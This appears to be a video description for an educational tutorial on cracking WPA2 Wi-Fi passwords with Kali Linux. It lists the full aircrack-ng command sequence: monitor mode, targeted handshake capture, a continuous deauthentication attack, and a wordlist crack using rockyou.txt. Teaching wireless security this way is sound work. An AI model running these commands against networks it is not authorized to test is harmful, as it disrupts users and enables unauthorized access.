Crack WPA2 Wi-Fi with Kali Linux 🔓

Join me in this in-depth ethical hacking tutorial where we explore a fundamental aspect of wireless network security: cracking WPA2 Wi-Fi passwords. Using Kali Linux, we'll demonstrate how to set up your environment, capture a WPA2 four-way handshake, and then leverage a wordlist attack to reveal the password.

⚠️ CRITICAL DISCLAIMER ⚠️: This video is strictly for educational and informational purposes only. For this demonstration, I am using my personal mobile hotspot, over which I have complete access and permission. It is illegal and unethical to perform these actions on any network without explicit, prior authorization from the owner. Please use this knowledge responsibly to understand vulnerabilities and strengthen your own network security.

What you'll learn in this video:
1. Environment Setup: Verifying Kali Linux version: cat /etc/os-release/uname -a
and identifying wireless interfaces: ip addr/iwconfig
2. Monitor Mode Preparation: Killing conflicting processes: sudo airmon-ng check kill
and enabling monitor mode on your adapter: sudo airmon-ng start wlan0
3. Access Point Discovery: Scanning for nearby Wi-Fi networks and identifying target BSSID & Channel: sudo airodump-ng wlan0mon
4. Handshake Capture: Focusing the scan on the target network to capture the WPA2 handshake file: sudo airodump-ng -w password -c [CH] --bssid [BSSID] wlan0mon
5. Deauthentication Attack: Speeding up handshake capture by temporarily disconnecting a device: sudo aireplay-ng --deauth 0 -a [BSSID] wlan0mon
6. Handshake Analysis: A quick look inside the captured .cap file with Wireshark: wireshark password-01.cap
7. Password Cracking: Using Aircrack-ng with a wordlist (e.g., rockyou.txt) to crack the captured handshake: aircrack-ng password-01.cap -w /usr/share/wordlists/rockyou.txt
8. Cleanup: Reverting your wireless adapter back to managed mode: sudo airmon-ng stop wlan0mon
9. Crucial Wi-Fi Security Tips: How to protect your own network from similar attacks.
